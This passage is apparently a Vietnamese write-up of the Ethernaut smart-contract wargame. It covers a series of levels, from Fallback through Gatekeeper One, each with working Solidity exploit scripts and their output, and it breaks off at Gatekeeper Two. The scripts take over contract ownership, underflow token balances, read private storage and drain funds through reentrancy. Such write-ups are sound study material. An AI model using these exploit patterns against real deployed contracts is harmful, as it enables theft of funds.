{%hackmd @themes/orangeheart %} # Ethernaut write up (25/32) ***Note: Chỉ là môt vài ghi chú*** ![image](https://hackmd.io/_uploads/S11fQ06X0.png) # **Hello Ethernaut** ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Instance { string public password; uint8 public infoNum = 42; string public theMethodName = "The method name is method7123949."; bool private cleared = false; // constructor constructor(string memory _password) { password = _password; } function info() public pure returns (string memory) { return "You will find what you need in info1()."; } function info1() public pure returns (string memory) { return 'Try info2(), but with "hello" as a parameter.'; } function info2(string memory param) public pure returns (string memory) { if (keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked("hello"))) { return "The property infoNum holds the number of the next info method to call."; } return "Wrong parameter."; } function info42() public pure returns (string memory) { return "theMethodName is the name of the next method."; } function method7123949() public pure returns (string memory) { return "If you know the password, submit it to authenticate()."; } function authenticate(string memory passkey) public { if (keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) { cleared = true; } } function getCleared() public view returns (bool) { return cleared; } } ``` Ta thấy ở đây biến `password` được set là public nên ta có thể gọi và dùng nó để `authenticate()` ```solidity await contract.password() 'ethernaut0' await contract.authenticate("ethernaut0") ``` script ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../src/Level0.sol"; import "forge-std/Script.sol"; import "forge-std/console.sol"; contract Level0Solution is Script { Instance public level0 = Instance("..."); function run() external { string memory password = level0.password(); console.log("Password: ", password); vm.startBroadcast(vm.envUint("PRIVATE_KEY")); level0.authenticate(password); vm.stopBroadcast(); } } ``` # Fallback You will beat this level if 1. you claim ownership of the contract 2. you reduce its balance to 0 ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Fallback { mapping(address => uint256) public contributions; address public owner; constructor() { owner = msg.sender; contributions[msg.sender] = 1000 * (1 ether); } modifier onlyOwner() { require(msg.sender == owner, "caller is not the owner"); _; } function contribute() public payable { require(msg.value < 0.001 ether); contributions[msg.sender] += msg.value; if (contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } } function getContribution() public view returns (uint256) { return contributions[msg.sender]; } function withdraw() public onlyOwner { payable(owner).transfer(address(this).balance); } receive() external payable { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; } } ``` Mục tiêu của ta là trở thành owner của contract. Phân tích: ```solidity function contribute() public payable { require(msg.value < 0.001 ether); contributions[msg.sender] += msg.value; if (contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } } ``` Nếu ta chuyển cho contract số ether > `1000 * (1 ether)` thì sẽ trở thành owner của contract nhưng điều này là bất khả thi nên ta sẽ sử dụng một phương thức khác. ```solidity receive() external payable { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; } ``` Tại đây ta thấy chỉ cần `msg.value` > 0 thì ta sẽ thành owner của contract (vì `contributions[msg.sender] = 1000 * (1 ether)` ). ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../src/Fallback.sol"; import "forge-std/Script.sol"; import "forge-std/console.sol"; contract FallbackSolution is Script { Fallback public fallbackInstance = Fallback(payable(0xc5A061bA500e2FFF9896ECD8ecb94bF118C68FA0)); function run() external { vm.startBroadcast(vm.envUint("PRIVATE_KEY")); fallbackInstance.contribute{value: 1 wei}(); address(fallbackInstance).call{value: 1 wei}(""); console.log("New owner: ", fallbackInstance.owner()); console.log("My addr", vm.envAddress("MY_ADDRESS")); fallbackInstance.withdraw(); vm.stopBroadcast(); } } ``` # Fallout ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "openzeppelin-contracts-06/math/SafeMath.sol"; contract Fallout { using SafeMath for uint256; mapping(address => uint256) allocations; address payable public owner; /* constructor */ function Fal1out() public payable { owner = msg.sender; allocations[owner] = msg.value; } modifier onlyOwner() { require(msg.sender == owner, "caller is not the owner"); _; } function allocate() public payable { allocations[msg.sender] = allocations[msg.sender].add(msg.value); } function sendAllocation(address payable allocator) public { require(allocations[allocator] > 0); allocator.transfer(allocations[allocator]); } function collectAllocations() public onlyOwner { msg.sender.transfer(address(this).balance); } function allocatorBalance(address allocator) public view returns (uint256) { return allocations[allocator]; } } ``` Hàm constructor đã bị viết sai chính tả thành `Fal1out` nên ta chỉ đơn giản là xem nó như 1 public function và gọi để set `msg.sender` thành `owner` ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../src/Fallout.sol"; import "forge-std/Script.sol"; import "forge-std/console.sol"; contract exploitFallout is Script { Fallout public falloutInstance = Fallout(payable(0x1df8874cc8f89Aa16dF2d895B14dc8484986baAF)); function run() external { vm.startBroadcast(vm.envUint("PRIVATE_KEY")); console.log("Current owner: ", falloutInstance.owner()); falloutInstance.Fal1out(); console.log("New owner: ", falloutInstance.owner()); vm.stopBroadcast(); } } ``` run local: `forge script script/solveFallout.sol` run: `forge script script/solveFallout.sol --broadcast` ```solidity == Logs == Current owner: 0x0000000000000000000000000000000000000000 New owner: 0x2b8bed557d4b005212a6703C36B119B07318108B ``` # Coin Flip This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row. ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract CoinFlip { uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; constructor() { consecutiveWins = 0; } function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(blockhash(block.number - 1)); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } } } ``` Mục tiêu của ta là đoán đúng giá trị của biến `side` 10 lần liên tiếp. Để làm được ta chỉ cần thực hiện lại thuật toán của hàm `flip` để nhận kết quả và exploit 10 lần. ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../src/CoinFlip.sol"; import "forge-std/Script.sol"; import "forge-std/console.sol"; contract Hack { uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; constructor(CoinFlip _coinFlipInstance) { uint256 blockValue = uint256(blockhash(block.number - 1)); uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; _coinFlipInstance.flip(side); } } contract exploitCoinFlip is Script { CoinFlip public coinFlipInstance = CoinFlip(0x493442A08Ba4BC3cc7fC37574C09C8F001334E6f); function run() external { vm.startBroadcast(vm.envUint("PRIVATE_KEY")); new Hack(coinFlipInstance); console.log("consecutiveWins: ", coinFlipInstance.consecutiveWins()); vm.stopBroadcast(); } } ``` Để tự động hóa thì chỉ cần viết 1 file bash như sau: ```solidity #!/bin/bash COMMAND="forge script script/solveCoinFlip.sol --broadcast --tc exploitCoinFlip" for i in {1..10} do echo "Running command $i" $COMMAND sleep 5s done ``` # **Telephone** Claim ownership of the contract below to complete this level. ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Telephone { address public owner; constructor() { owner = msg.sender; } function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } } } ``` !https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Q_mcX4Po8JTKUS2yJhvcPQ.png Điểm khả thi để khai thác. ```solidity function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } } ``` Mục tiêu của ta là làm cho `tx.origin != msg.sender` . Nếu như ta gọi trực tiếp từ 1 contract thì `tx.origin` và `msg.sender` sẽ giống hệt nhau. ý tưởng sẽ là gọi function `changeOwner` thông qua một contract trung gian `mid` . Lúc này msg sẽ được đổi thành `adddress` của `mid` ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../src/Telephone.sol"; import "forge-std/Script.sol"; import "forge-std/console.sol"; contract mid { constructor (Telephone _telephone, address _owner) { _telephone.changeOwner(_owner); } } contract exploitTelephone is Script { Telephone public telephone = Telephone(0x65e317f7Ca6c5a8f5a1CA00eB12e46734Ff4CC73); function run() external { vm.startBroadcast(vm.envUint("PRIVATE_KEY")); new mid(telephone, 0x2b8bed557d4b005212a6703C36B119B07318108B); vm.stopBroadcast(); } } ``` # **Token** The goal of this level is for you to hack the basic token contract below. You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens. ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Token { mapping(address => uint256) balances; uint256 public totalSupply; constructor(uint256 _initialSupply) public { balances[msg.sender] = totalSupply = _initialSupply; } function transfer(address _to, uint256 _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } ``` Điểm khả thi để khai thác: ```solidity function transfer(address _to, uint256 _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; } ``` `balances[msg.sender]` có địng dạng là `uint` và version của contract là `^0.6.0` rất có khà năng ta có thể khai thác hiện tượng tràn số. Khi ta gửi `_value` có giá trị lớn hơn `balances[msg.sender]` kết quả của `balances[msg.sender] - _value` → dẫn đến hiện tượng tràn số và cho ra một giá trị rất lớn. ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../src/Token.sol"; import "forge-std/Script.sol"; import "forge-std/console.sol"; contract exploitToken is Script { Token public token = Token(0x589a525C144B35e1D951895A8272D7563505a0a8); function run() external { vm.startBroadcast(vm.envUint("PRIVATE_KEY")); console.log(token.balanceOf(0x2b8bed557d4b005212a6703C36B119B07318108B)); token.transfer(0xa3e7317E591D5A0F1c605be1b3aC4D2ae56104d6, 21); console.log(token.balanceOf(0x2b8bed557d4b005212a6703C36B119B07318108B)); vm.stopBroadcast(); } } ``` → kết quả ```solidity [⠒] Compiling... [⠒] Compiling 1 files with 0.6.12 [⠰] Solc 0.6.12 finished in 1.35s Compiler run successful! Script ran successfully. == Logs == 20 115792089237316195423570985008687907853269984665640564039457584007913129639935 ## Setting up 1 EVM. ``` # **Delegation** The goal of this level is for you to claim ownership of the instance you are given. Things that might help - Look into Solidity's documentation on the `delegatecall` low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope. - Fallback methods - Method ids ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Delegate { address public owner; constructor(address _owner) { owner = _owner; } function pwn() public { owner = msg.sender; } } contract Delegation { address public owner; Delegate delegate; constructor(address _delegateAddress) { delegate = Delegate(_delegateAddress); owner = msg.sender; } fallback() external { (bool result,) = address(delegate).delegatecall(msg.data); if (result) { this; } } } ``` ![image](https://hackmd.io/_uploads/Sy9SbZAX0.png) Theo: https://solidity-by-example.org/delegatecall/ > `delegatecall` is a low level function similar to `call`. When contract `A` executes `delegatecall` to contract `B`, `B`'s code is executed with contract `A`'s storage, `msg.sender` and `msg.value`. > Và có ví dụ như sau: ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; // NOTE: Deploy this contract first contract B { // NOTE: storage layout must be the same as contract A uint256 public num; address public sender; uint256 public value; function setVars(uint256 _num) public payable { num = _num; sender = msg.sender; value = msg.value; } } contract A { uint256 public num; address public sender; uint256 public value; function setVars(address _contract, uint256 _num) public payable { // A's storage is set, B is not modified. (bool success, bytes memory data) = _contract.delegatecall( abi.encodeWithSignature("setVars(uint256)", _num) ); } } ``` Sau khi deploy, tại A gọi hàm `setVars` với tham số là address của `B` ![image](https://hackmd.io/_uploads/r1G5NAa7C.png) → Các giá trị của `contract A` được cập nhật còn của B không thay đổi. ![image](https://hackmd.io/_uploads/BygjNCTQA.png) Dựa vào tính chất trên ta có thể gọi hàm `pwn()` của contract `Delegate` như sau `address(delegatetion).call(abi.encodeWithSignature("pwn()"))` để thay đổi owner của contract `Delegation` ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../src/Delegation.sol"; import "forge-std/Script.sol"; import "forge-std/console.sol"; contract exploitDelegation is Script { Delegation public delegatetion = Delegation(0xD90a590FB6c2a0792feCCcDfFcfc4028A638a063); function run() external { vm.startBroadcast(vm.envUint("PRIVATE_KEY")); console.log("Current owner: ", delegatetion.owner()); (bool result,) = address(delegatetion).call(abi.encodeWithSignature("pwn()")); console.log("Delegatecall result: ", result); console.log("New owner: ", delegatetion.owner()); vm.stopBroadcast(); } } ``` → kết quả ```solidity [⠊] Compiling... No files changed, compilation skipped Script ran successfully. == Logs == Current owner: 0x73379d8B82Fda494ee59555f333DF7D44483fD58 Delegatecall result: true New owner: 0x2b8bed557d4b005212a6703C36B119B07318108B ## Setting up 1 EVM. ========================== Chain 11155111 ``` # **Force** Some contracts will simply not take your money `¯\_(ツ)_/¯` The goal of this level is to make the balance of the contract greater than zero. ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Force { /* MEOW ? /\_/\ / ____/ o o \ /~____ =ø= / (______)__m_m) */ } ``` Như vậy, ta cần phải dùng phương pháp nào đó để chuyển tiền vào một hợp đồng không hề có chứ năng nhận tiền. Hiện tại, có 3 cách để làm điều này. 1. **Self-destruct**: Smart Contract có thể nhận ether từ một contract khác do kết quả của việc call `selfdestruct()` . Tất cả ether được lưu trữ trong contract gọi `selfdestruct()` sẽ được chuyển đến địa chỉ của contract được chỉ định. 2. **Coinbase Transactions**: attacker có thể bắt đầu proof-of-work mining và đặt target address để nhận thưởng. 3. **Pre-calculated addresses**: Nếu kẻ tấn công gửi tiền vào địa chỉ trước khi triển khai, có thể buộc phải lưu trữ Ether ở đó. Phương pháp khả thi nhất ở đây là `selfdestruct()` , vì quá trình này khá đơn giản nên ra chỉ cần deploy 1 contract với 1 lượng ether nhất định sau đó gọi hàm `selfdestruct()` tại `constructor()` ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract exploitForce { constructor () public payable { selfdestruct(0x2B354bB1fD26cF7a4Adb58a54e14c0729Ea5E138); } } ``` Run by: ```solidity forge create exploitForce --private-key ... --rpc-url ... --value 0.00001ether ``` # **Vault** Unlock the vault to pass the level! ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Vault { bool public locked; bytes32 private password; constructor(bytes32 _password) { locked = true; password = _password; } function unlock(bytes32 _password) public { if (password == _password) { locked = false; } } } ``` Trong blockchain tất cả dữ liệu lưu trữ đều được công khai và bất kì ai cũng có thể thấy được dữ liệu đó kể cả các biến private. EVM lưu trữ dữ liệu trong các khe và mỗi khe có kích thước 32 byte. Biến được xác định đầu tiên được gán vị trí 0, biến thứ hai được gán vị trí 1, …Điều này đúng nếu mỗi biến là 32 byte. Nếu không, việc đóng gói sẽ xảy ra để tối ưu hóa việc lưu trữ. → Có 2 cách để giải quyết challenge này. Cách 1: Dùng etherscan Tìm địa chỉ của contract và chọn vào `Creator txn hash` ![image](https://hackmd.io/_uploads/SyxLrC6Q0.png) Chọn state và tìm đến contract address. Ta sẽ thấy password được lưu dưới dạng hex ![image](https://hackmd.io/_uploads/BylvrA6mR.png) decode ![image](https://hackmd.io/_uploads/rJiPrCTmA.png) Cách 2: Query để lấy dữ liệu được lưu tại địa chỉ của contract. Dùng `cast storage` `cast storage 0xA197AD472e4758Ab7dDc27e6aCeBD8ba507093A9 1 --rpc-url ...` Sau đó dùng `cast send` `cast send 0xA197AD472e4758Ab7dDc27e6aCeBD8ba507093A9 "unlock(bytes32)" "0x412076657279207374726f6e67207365637265742070617373776f7264203a29" --private-key ... --rpc-url ...` Hoặc viết script để exploit: ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../src/Vault.sol"; import "forge-std/Script.sol"; import "forge-std/console.sol"; contract exploitVault is Script { Vault public vault = Vault(0xA197AD472e4758Ab7dDc27e6aCeBD8ba507093A9); function run() external { vm.startBroadcast(vm.envUint("PRIVATE_KEY")); console.log("Current state: ", vault.locked()); vault.unlock(0x412076657279207374726f6e67207365637265742070617373776f7264203a29); console.log("New state: ", vault.locked()); vm.stopBroadcast(); } } ``` # King The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD Such a fun game. Your goal is to break it. When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation. ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract King { address king; uint256 public prize; address public owner; constructor() payable { owner = msg.sender; king = msg.sender; prize = msg.value; } receive() external payable { require(msg.value >= prize || msg.sender == owner); payable(king).transfer(msg.value); king = msg.sender; prize = msg.value; } function _king() public view returns (address) { return king; } } ``` Điểm khả thi để khai thác: ```solidity receive() external payable { require(msg.value >= prize || msg.sender == owner); payable(king).transfer(msg.value); king = msg.sender; prize = msg.value; } ``` Mục tiêu của ta là sau khi trở thành King thì các user khác khi gọi `receive()` sẽ không thành công. Câu lệnh `payable(king).transfer(msg.value);` sẽ cho phép ta làm điều này. Sau khi ta submit level sẽ đòi lại vị trí bằng cách gửi một lượng ether tương đương với `prize` khi đó `transfer function` sẽ cố gắng chuyển số tiền này đến địa chỉ của vị vua trước đó (lúc này là contract của ta) → Nếu như ta không triển khai bất cứ chức năng nhận tiền nào thì câu lệnh trên sẽ không thành công → sẽ không có sự thay đổi của vị trí `king`. ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../src/King.sol"; import "forge-std/Script.sol"; import "forge-std/console.sol"; contract exploitKing is Script { King public king = King(payable(0x26c30B243A6C985D7C431d23af704c06Dd587C65)); function run() external { vm.startBroadcast(vm.envUint("PRIVATE_KEY")); address(king).call{value: king.prize()}(""); vm.stopBroadcast(); } } ``` # Re-entrancy The goal of this level is for you to steal all the funds from the contract. Things that might help: - Untrusted contracts can execute code where you least expect it. - Fallback methods - Throw/revert bubbling ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import "openzeppelin-contracts-06/math/SafeMath.sol"; contract Reentrance { using SafeMath for uint256; mapping(address => uint256) public balances; function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); } function balanceOf(address _who) public view returns (uint256 balance) { return balances[_who]; } function withdraw(uint256 _amount) public { if (balances[msg.sender] >= _amount) { (bool result,) = msg.sender.call{value: _amount}(""); if (result) { _amount; } balances[msg.sender] -= _amount; } } receive() external payable {} } ``` Theo https://solidity-by-example.org/hacks/re-entrancy/. > Let's say that contract `A` calls contract `B`. Reentracy exploit allows `B` to call back into `A` before `A` finishes execution. > Điểm khả thi để khai thác: ```solidity function withdraw(uint256 _amount) public { if (balances[msg.sender] >= _amount) { (bool result,) = msg.sender.call{value: _amount}(""); if (result) { _amount; } balances[msg.sender] -= _amount; } } ``` Như vậy ta sẽ làm cho câu lệnh `balances[msg.sender] -= _amount;` không có cơ hội để thực thi. câu lệnh `(bool result,) = msg.sender.call{value: _amount}("");` sẽ gọi trực tiếp đến `msg.sender` và đây là một lỗ hổng lớn vì `msg.sender` (trong trường hợp này là ta) có thể kiểm soát để làm cho câu lệnh cập nhật số dư không được thực hiện bằng cách gọi ngược lại hàm `withdraw` của contract `Reentrance`. ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import "../src/Reentrancy.sol"; import "forge-std/Script.sol"; import "forge-std/console.sol"; contract Solve { Reentrance public reentrance = Reentrance(payable(0x1824c11293f3a3aA16d365e9EDa3c533905645f4)); constructor() public payable { reentrance.donate{value: 0.001 ether}(address(this)); } function withdraw() public { reentrance.withdraw(0.001 ether); } receive() external payable { reentrance.withdraw(msg.value); } } contract exploitReentrance is Script { function run() external { vm.startBroadcast(vm.envUint("PRIVATE_KEY")); Solve solve = new Solve{value: 0.001 ether}(); solve.withdraw(); vm.stopBroadcast(); } } ``` # Elevator This elevator won't let you reach the top of your building. Right? **Things that might help:** - Sometimes solidity is not good at keeping promises. - This `Elevator` expects to be used from a `Building`. ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Building { function isLastFloor(uint256) external returns (bool); } contract Elevator { bool public top; uint256 public floor; function goTo(uint256 _floor) public { Building building = Building(msg.sender); if (!building.isLastFloor(_floor)) { floor = _floor; top = building.isLastFloor(floor); } } } ``` Contract Elevator define một interface Building. Tiếp đến ta thấy hàm `goTo` khởi tạo một instance building và lấy address là address của `msg.sender` (trong trường hợp này là chúng ta). building instance này được sử dụng bên trong hàm để kiểm tra đầu ra của hàm `isLastFloor`. Tại challenge này mục tiêu của ta là làm sao cho khi gọi hàm `isLastFloor(uint256)` thì lần đầu tiên sẽ trả về giá trị `False` và lần thứ hai sẽ trả về giá trị `True` với mọi tham số `_floor`. Vì ta control address của instance building nên ta có thể tạo implement function `isLastFloor` để kết quả được trả về đúng theo ý tưởng ở trên: ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../src/Elevator.sol"; import "forge-std/Script.sol"; import "forge-std/console.sol"; contract Solve { Elevator public elevator = Elevator(0x8033c5f69E11cb966DcB44b0b683a938fB88aCdB); bool public fakeTop = false; function attack() public { elevator.goTo(65537); } function isLastFloor(uint256 _floor) public returns (bool) { if (!fakeTop) { fakeTop = true; return false; } else { return true; } } } contract exploitElevator is Script { function run() external { vm.startBroadcast(vm.envUint("PRIVATE_KEY")); Solve s = new Solve(); s.attack(); vm.stopBroadcast(); } } ``` # Privacy The creator of this contract was careful enough to protect the sensitive areas of its storage. Unlock this contract to beat the level. Things that might help: - Understanding how storage works - Understanding how parameter parsing works - Understanding how casting works Tips: - Remember that metamask is just a commodity. Use another tool if it is presenting problems. Advanced gameplay could involve using remix, or your own web3 provider. ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Privacy { bool public locked = true; uint256 public ID = block.timestamp; uint8 private flattening = 10; uint8 private denomination = 255; uint16 private awkwardness = uint16(block.timestamp); bytes32[3] private data; constructor(bytes32[3] memory _data) { data = _data; } function unlock(bytes16 _key) public { require(_key == bytes16(data[2])); locked = false; } /* A bunch of super advanced solidity algorithms... ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^` .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*., *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\ `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o) ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU */ } ``` Như đã về cập ở chall Vault. Các biến được EVM lưu trữ thành từng slot 32 bytes. Như vậy ta có thể sắp xếp thứ tự slot của các biến như sau: ``` bool public locked = true; -> slot 0 uint256 public ID = block.timestamp; -> slot 1 uint8 private flattening = 10; -> slot 2 uint8 private denomination = 255; -> slot 2 uint16 private awkwardness = uint16(block.timestamp); -> slot 2 bytes32[3] private data; -> slot 3|4|5 ``` → vậy ta chỉ cần truy xuất vùng nhớ tại vị trí thứ 5 sẽ thu được `_key` cần tìm. ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../src/Privacy.sol"; import "forge-std/Script.sol"; import "forge-std/console.sol"; contract exploitPrivacy is Script { Privacy public privacy = Privacy(0x194dE7AFdf36627C38Dbb84A742aAFFE34A54E3b); function run() external { vm.startBroadcast(vm.envUint("PRIVATE_KEY")); bytes32 pw = vm.load(address(privacy), bytes32(uint256(5))); privacy.unlock(bytes16(pw)); console.log("locked: ", privacy.locked()); vm.stopBroadcast(); } } ``` # Gatekeeper One Make it past the gatekeeper and register as an entrant to pass this level. **Things that might help:** - Remember what you've learned from the Telephone and Token levels. - You can learn more about the special function `gasleft()`, in Solidity's documentation (see [here](https://docs.soliditylang.org/en/v0.8.3/units-and-global-variables.html) and [here](https://docs.soliditylang.org/en/v0.8.3/control-structures.html#external-function-calls)). ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract GatekeeperOne { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(gasleft() % 8191 == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one"); require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two"); require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three"); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } } ``` Để vượt qua được `gateOne` ta chỉ cần thông qua một contract trung gian (contract `solve`) như đã đề cập ở 1 challenge ở trên. Để qua được gateTwo thì ta cần đảm bảo đầu ra của hàm `gasfeft()` phải chia hết cho 8191 vậy ta sẽ truyền vào cho hàm 1 lượng wei là `i + 8191*10` và brute forece `i`. Tiếp đến hãy phân tích `gateThree` ```solidity uint32(uint64(_gateKey)) == uint16(uint64(_gateKey) ``` để thỏa điều kiện trên thì `_gateKey` cần có dạng: `0x…0000xxxx` ```solidity uint32(uint64(_gateKey)) != uint64(_gateKey) ``` điều kiện này khá đơn giản, chỉ cần 32 bit đầu tiên của _gatekey khác `0x00000000` ```solidity uint32(uint64(_gateKey)) == uint16(uint160(tx.origin) ``` Như vậy điều kiện cuối cùng là 16 bit cuối cùng của `_gateKey` phải giống hệt với 16 bit cuối cùng của `tx.origin` . Ta sẽ giải `gateThree` như sau: ```solidity bytes8 gateKey = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF; ``` script: ```solidity contract solve { GatekeeperOne public gatekeeperOne = GatekeeperOne(0xf058C00b8a28c1c1982f5383C7cf557aa28aD6e8); function solveGatekeeperOne() public { bytes8 gateKey = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF; for (uint256 i = 0; i < 8191; i++) { (bool rs, ) = address(gatekeeperOne).call{gas: i + 8191*10}(abi.encodeWithSignature("enter(bytes8)", gateKey)); if (rs) { console.log("i = ", i); break; } } } } ``` kết quả ```solidity [⠒] Compiling... [⠒] Compiling 1 files with 0.8.25 [⠰] Solc 0.8.25 finished in 1.35s Compiler run successful! Script ran successfully. == Logs == i = 256 ## Setting up 1 EVM. ========================== ``` full script: ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../src/GatekeeperOne.sol"; import "forge-std/Script.sol"; import "forge-std/console.sol"; contract solve { GatekeeperOne public gatekeeperOne = GatekeeperOne(0x39426f33a6c7A492A979BC1f33b1200b08a87373); function solveGatekeeperOne() public payable { bytes8 gateKey = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF; console.log('enctran = ', gatekeeperOne.entrant()); for (uint256 i = 0; i < 8191; i++) { (bool rs, ) = address(gatekeeperOne).call{gas: i + 8191*10}(abi.encodeWithSignature("enter(bytes8)", gateKey)); if (rs) { console.log("i = ", i); break; } } console.log('enctran = ', gatekeeperOne.entrant()); } } contract exploitGatekeeperOne is Script { function run() external { vm.startBroadcast(vm.envUint("PRIVATE_KEY")); solve s = new solve(); s.solveGatekeeperOne(); vm.stopBroadcast(); } } ``` → kết quả: ```solidity [⠒] Compiling... [⠢] Compiling 1 files with 0.8.25 [⠔] Solc 0.8.25 finished in 1.42s Compiler run successful! Script ran successfully. == Logs == enctran = 0x0000000000000000000000000000000000000000 rs = true enctran = 0x2b8bed557d4b005212a6703C36B119B07318108B ## Setting up 1 EVM. ========================== ``` # Gatekeeper Two This gatekeeper introduces a few new challenges. Register as an entrant to pass this level. **Things that might help:** - Remember what you've learned from getting past the first gatekeeper - the first gate is the same. - The `assembly` keyword in the second gate allows a contract to access functionality that is not native to vanilla Solidity. See [here](http://solidity.readthedocs.io/en/v0.4.23/assembly.html) for more information. The `extcodesize` call in this gate will get the size of a contract's code at a given address - you can learn more about how and when this is set in section 7 of the [yellow paper](https://ethereum.github.io/yellowpaper/paper.pdf). - The `^` character in the third gate is a bitwise operation (XOR), and is used here to apply another common bitwise operation (see [here](http://solidity.readthedocs.io/en/v0.4.23/miscellaneous.html#cheatsheet)). The Coin Flip level is also a good place to start when approaching this challeng ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract GatekeeperTwo { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { uint256 x; assembly { x := extcodesize(caller()) } require(x == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } } ``` `gateOne` ta thực hiện như challenge trên. **What is the difference between EOA and Smart contracts?** - EOA’s are wallet accounts owned and controlled by users using their private keys, whereas Smart contracts are independent addresses/accounts that are deployed on the Ethereum network and are controlled by their contract code. - Creating EOA does not cost anything, but creating a smart contract costs the user some amount because they’re using the network’s storage. - EOA does not have any code associated with them, and one can initiate and sign transactions. In contrast, Smart contracts have code and associated storage triggered every time a transaction or call is made to its functions. **EXTCODESIZE** EXTCODESIZE is an opcode that returns the size of an account’s code. This is usually implemented inside of a function, as shown below. If the address is a contract account, the function returns true; if it is an EOA, it returns false: https://blog.solidityscan.com/distinguishing-eoa-and-smart-contracts-securely-911dc42fdf13?gi=80e763655365 Như vậy, ta có thể thấy để bypass `gateOne` thì ta cần thông qua một contract nhưng để bypass `gateTwo` ta lại cần gọi trực tiếp bằng EOA. `constructor` sẽ giúp ta giải quyết vấn đề này, trong quá trình khởi tạo hợp đồng hoặc khi hàm `constructor` được gọi thì runtime code size luôn bằng 0. Cuối cùng ta sẽ giải ngược lại `gateThree` như sau: ```solidity 